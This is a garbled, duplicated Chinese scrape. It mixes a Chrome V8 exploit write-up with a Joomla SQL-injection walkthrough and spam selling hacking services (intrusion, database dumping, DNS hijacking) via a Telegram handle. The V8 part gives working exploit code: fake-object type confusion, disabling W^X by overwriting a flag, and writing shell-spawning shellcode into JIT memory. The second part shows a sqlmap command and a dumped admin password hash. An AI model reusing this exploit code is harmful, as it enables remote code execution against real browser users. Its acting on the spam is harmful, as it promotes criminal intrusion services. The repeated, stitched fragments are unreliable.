var imgDataStore = new ArrayBuffer(48);
var imgData = new Uint8ClampedArray(imgDataStore);
var doubleArr = [1.1, 2.2, 3.3, 4.4, 5.5];
var objArr = [imgData];
let doubleArrMatrix = new SubMatrix(v8TypedArrayAddr + 0x74 - 1);
let doubleMap = ftoi32(readFrom(loopCount, doubleArrMatrix))[1];
var doubleArrElementDefault = (v8TypedArrayAddr + 0x60) >> 0;
var doubleArrDefault = i32tof(doubleArrElementDefault, 0x1000);
//map + properties
doubleArr[0] = i32tof(doubleMap, 0x8002249);
//elements + length
doubleArr[1] = doubleArrDefault;
doubleArr[2] = i32tof(0x8002249, 0x1000);
doubleArr[3] = 1.1;
fakeObj 与 signal
回顾一下,类型混淆能够让我们去非法的读取数据,但它实际上是通过 getter 的返回值完成的,倘若某个 getter 能够返回对象,那么我们就能够通过类型混淆来修改返回的结果了:
var imgData = new Uint8ClampedArray(imgDataStore);
var doubleArr = [1.1, 2.2, 3.3, 4.4, 5.5];
var objArr = [imgData];
let doubleArrMatrix = new SubMatrix(v8TypedArrayAddr + 0x74 - 1);
let doubleMap = ftoi32(readFrom(loopCount, doubleArrMatrix))[1];
var doubleArrElementDefault = (v8TypedArrayAddr + 0x60) >> 0;
var doubleArrDefault = i32tof(doubleArrElementDefault, 0x1000);
//map + properties
doubleArr[0] = i32tof(doubleMap, 0x8002249);
//elements + length
doubleArr[1] = doubleArrDefault;
doubleArr[2] = i32tof(0x8002249, 0x1000);
doubleArr[3] = 1.1;
fakeObj 与 signal
回顾一下,类型混淆能够让我们去非法的读取数据,但它实际上是通过 getter 的返回值完成的,倘若某个 getter 能够返回对象,那么我们就能够通过类型混淆来修改返回的结果了:
void SignalAttributeGetCallback(
const v8::FunctionCallbackInfo<v8::Value>& info) {
RUNTIME_CALL_TIMER_SCOPE_DISABLED_BY_DEFAULT(info.GetIsolate(),
"Blink_Request_signal_Getter");
BLINK_BINDINGS_TRACE_EVENT("Request.signal.get");
v8::Local<v8::Object> v8_receiver = info.This();
Request* blink_receiver = V8Request::ToWrappableUnsafe(v8_receiver);
auto&& return_value = blink_receiver->signal();
bindings::V8SetReturnValue(info, return_value, blink_receiver);
}
blink_receiver->signal 返回一个 auto 类型的对象,通过控制其返回目标的属性,我们似乎有办法令其主动返回一个我们期望的对象。
根据声明我们能够发现:
AbortSignal* signal() const { return signal_; }
其返回对象是一个 AbortSignal 指针,它也是一个 ScriptWrappable 对象,而通过 V8SetReturnValue 将会返回 main_world_wrapper_ 字段中的 V8 对象地址,而该对象的类型取决于其拥有的 map 。
那么我们的目标就很明确了,首先声明一个 Request 对象用以获取 signal ,然后找到一个与 signal_ 有相同偏移却能够由我们随意控制的对象,将其设定为伪造好的内存结构,然后再返回出来即可。
const v8::FunctionCallbackInfo<v8::Value>& info) {
RUNTIME_CALL_TIMER_SCOPE_DISABLED_BY_DEFAULT(info.GetIsolate(),
"Blink_Request_signal_Getter");
BLINK_BINDINGS_TRACE_EVENT("Request.signal.get");
v8::Local<v8::Object> v8_receiver = info.This();
Request* blink_receiver = V8Request::ToWrappableUnsafe(v8_receiver);
auto&& return_value = blink_receiver->signal();
bindings::V8SetReturnValue(info, return_value, blink_receiver);
}
blink_receiver->signal 返回一个 auto 类型的对象,通过控制其返回目标的属性,我们似乎有办法令其主动返回一个我们期望的对象。
根据声明我们能够发现:
AbortSignal* signal() const { return signal_; }
其返回对象是一个 AbortSignal 指针,它也是一个 ScriptWrappable 对象,而通过 V8SetReturnValue 将会返回 main_world_wrapper_ 字段中的 V8 对象地址,而该对象的类型取决于其拥有的 map 。
那么我们的目标就很明确了,首先声明一个 Request 对象用以获取 signal ,然后找到一个与 signal_ 有相同偏移却能够由我们随意控制的对象,将其设定为伪造好的内存结构,然后再返回出来即可。
而该标志位于 libchrome.so 中,通过 Blink 对象的读取,我们仍然有办法得到其地址:
var shellArrayAddr = addrOf(shellArray);
let wrapperMatrix = new SubMatrix(imgAddr);
let wrapperAddr = ftoi(readFrom(loopCount, wrapperMatrix));
var wasmProtectionKeyAddr = wrapperAddr + wasmMemoryProtectionKeysOffset;
compressedWrite(shellArrayAddr + 0x2c, itof(wasmProtectionKeyAddr));
for (let i = 0; i < 8; i++) {
shellArray[i] = 0;
}
var shellArrayAddr = addrOf(shellArray);
let wrapperMatrix = new SubMatrix(imgAddr);
let wrapperAddr = ftoi(readFrom(loopCount, wrapperMatrix));
var wasmProtectionKeyAddr = wrapperAddr + wasmMemoryProtectionKeysOffset;
compressedWrite(shellArrayAddr + 0x2c, itof(wasmProtectionKeyAddr));
for (let i = 0; i < 8; i++) {
shellArray[i] = 0;
}
void CodeSpaceWriteScope::SetWritable() {
if (WasmCodeManager::MemoryProtectionKeysEnabled()) {
RwxMemoryWriteScope::SetWritable();
} else if (v8_flags.wasm_write_protect_code_memory) {
current_native_module_->AddWriter();
}
}
bool WasmCodeManager::MemoryProtectionKeysEnabled() {
return HasMemoryProtectionKeySupport() &&
v8_flags.wasm_memory_protection_keys;
}
WasmCodeAllocator::WasmCodeAllocator(std::shared_ptr<Counters> async_counters)
: protect_code_memory_(!V8_HAS_PTHREAD_JIT_WRITE_PROTECT &&
v8_flags.wasm_write_protect_code_memory &&
!WasmCodeManager::MemoryProtectionKeysEnabled()),
async_counters_(std::move(async_counters)) {
owned_code_space_.reserve(4);
}
if (WasmCodeManager::MemoryProtectionKeysEnabled()) {
RwxMemoryWriteScope::SetWritable();
} else if (v8_flags.wasm_write_protect_code_memory) {
current_native_module_->AddWriter();
}
}
bool WasmCodeManager::MemoryProtectionKeysEnabled() {
return HasMemoryProtectionKeySupport() &&
v8_flags.wasm_memory_protection_keys;
}
WasmCodeAllocator::WasmCodeAllocator(std::shared_ptr<Counters> async_counters)
: protect_code_memory_(!V8_HAS_PTHREAD_JIT_WRITE_PROTECT &&
v8_flags.wasm_write_protect_code_memory &&
!WasmCodeManager::MemoryProtectionKeysEnabled()),
async_counters_(std::move(async_counters)) {
owned_code_space_.reserve(4);
}
if (executable == EXECUTABLE) {
if (heap->write_protect_code_memory()) {
chunk->write_unprotect_counter_ =
heap->code_space_memory_modification_scope_depth();
} else {
size_t page_size = MemoryAllocator::GetCommitPageSize();
size_t area_size =
RoundUp(chunk->area_end() - chunk->area_start(), page_size);
// [1] DefaultWritableCodePermissions == RWX
CHECK(chunk->reservation_.SetPermissions(
chunk->area_start(), area_size, DefaultWritableCodePermissions()));
}
}
if (heap->write_protect_code_memory()) {
chunk->write_unprotect_counter_ =
heap->code_space_memory_modification_scope_depth();
} else {
size_t page_size = MemoryAllocator::GetCommitPageSize();
size_t area_size =
RoundUp(chunk->area_end() - chunk->area_start(), page_size);
// [1] DefaultWritableCodePermissions == RWX
CHECK(chunk->reservation_.SetPermissions(
chunk->area_start(), area_size, DefaultWritableCodePermissions()));
}
}
function jit(a) {
var sum = 0;
if (a[1] == 15) {
sum += 5;
}
for (var i = 0; i < a[1]; i++) {
sum += 10;
}
return a[0] + sum;
}
// Set
stableWrite(0xa070, 0, false);
// Compile a JIT function, which will create RWX memory
compile();
var jit_function_addr = stableAddrOf(jit);
var RWX_PAGE = stableRead32(jit_function_addr + 0x18, true);
var assembly_offset = RWX_PAGE + 0x40;
var shellcode = [0x010101010101b848n, 0x62792eb848500101n, 0x0431480101626d60n, 0x2f7273752fb84824n, 0x68e78948506e6962n, 0x012434810101303bn, 0x534944b848010101n, 0xd231503d59414c50n, 0x52e201485a086a52n, 0x010101b848e28948n, 0xb848500101010101n, 0x0101626d6062792en, 0x752fb84824043148n, 0x31506e69622f7273n, 0xe601485e086a56f6n, 0x0f583b6ae6894856n, 0x0000000090909005n];
for (var i = 0; i < shellcode.length; i++) {
stableWrite(assembly_offset + (8 * i), shellcode[i], true);
}
jit([1, 15]);
var sum = 0;
if (a[1] == 15) {
sum += 5;
}
for (var i = 0; i < a[1]; i++) {
sum += 10;
}
return a[0] + sum;
}
// Set
write_protect_code_memory_ to false (disable W^X)stableWrite(0xa070, 0, false);
// Compile a JIT function, which will create RWX memory
compile();
var jit_function_addr = stableAddrOf(jit);
var RWX_PAGE = stableRead32(jit_function_addr + 0x18, true);
var assembly_offset = RWX_PAGE + 0x40;
var shellcode = [0x010101010101b848n, 0x62792eb848500101n, 0x0431480101626d60n, 0x2f7273752fb84824n, 0x68e78948506e6962n, 0x012434810101303bn, 0x534944b848010101n, 0xd231503d59414c50n, 0x52e201485a086a52n, 0x010101b848e28948n, 0xb848500101010101n, 0x0101626d6062792en, 0x752fb84824043148n, 0x31506e69622f7273n, 0xe601485e086a56f6n, 0x0f583b6ae6894856n, 0x0000000090909005n];
for (var i = 0; i < shellcode.length; i++) {
stableWrite(assembly_offset + (8 * i), shellcode[i], true);
}
jit([1, 15]);
我们主要关注其 map 属性的地址:
DebugPrint: 0x37910010ac69: [JS_OBJECT_TYPE]
- map: 0x37910025a061 <Map[20](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x379100244891 <Object map = 0x379100243f4d>
- elements: 0x379100002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x379100002259 <FixedArray[0]>
- All own properties (excluding elements): {
0x3791000041ed: [String] in ReadOnlySpace: #x: 1 (const data field 0), location: in-object
0x3791000041fd: [String] in ReadOnlySpace: #y: 2 (const data field 1), location: in-object
}
DebugPrint: 0x37910010acc1: [JS_OBJECT_TYPE]
- map: 0x37910025a061 <Map[20](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x379100244891 <Object map = 0x379100243f4d>
- elements: 0x379100002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x379100002259 <FixedArray[0]>
- All own properties (excluding elements): {
0x3791000041ed: [String] in ReadOnlySpace: #x: 2 (const data field 0), location: in-object
0x3791000041fd: [String] in ReadOnlySpace: #y: 3 (const data field 1), location: in-object
}
DebugPrint: 0x37910010ac69: [JS_OBJECT_TYPE]
- map: 0x37910025a061 <Map[20](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x379100244891 <Object map = 0x379100243f4d>
- elements: 0x379100002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x379100002259 <FixedArray[0]>
- All own properties (excluding elements): {
0x3791000041ed: [String] in ReadOnlySpace: #x: 1 (const data field 0), location: in-object
0x3791000041fd: [String] in ReadOnlySpace: #y: 2 (const data field 1), location: in-object
}
DebugPrint: 0x37910010acc1: [JS_OBJECT_TYPE]
- map: 0x37910025a061 <Map[20](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x379100244891 <Object map = 0x379100243f4d>
- elements: 0x379100002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x379100002259 <FixedArray[0]>
- All own properties (excluding elements): {
0x3791000041ed: [String] in ReadOnlySpace: #x: 2 (const data field 0), location: in-object
0x3791000041fd: [String] in ReadOnlySpace: #y: 3 (const data field 1), location: in-object
}
数据库是SQLServer 2000,IIS版本是7.5,程序是采用风讯的CMS。后台登录后有多处注入,因为这里是演示用注入获取WEBSHELL,因此就不考虑后台上传的情况了,只是用注入来实现
指定网站app渗透数据可按条 包库 劫持域名 实力靠谱✅唯一🆔 @YaMaa8
指定网站app渗透数据可按条 包库 劫持域名 实力靠谱✅唯一🆔 @YaMaa8
sqlmap -u "http://192.168.122.135/index.php?option=com_fields&view=fields&layout=modal&list
[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --col
umns -p list[fullordering]
ization. For non-commercial use, please indicate the source.
最后查这几个字段的数据,成功查出来用户名为admin和密码的hash值$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
DNS劫持,入侵 渗透 拖库 劫持 提权 破解等各类服务!咨询 :@YaMaa8
[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --col
umns -p list[fullordering]
ization. For non-commercial use, please indicate the source.
最后查这几个字段的数据,成功查出来用户名为admin和密码的hash值$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
DNS劫持,入侵 渗透 拖库 劫持 提权 破解等各类服务!咨询 :@YaMaa8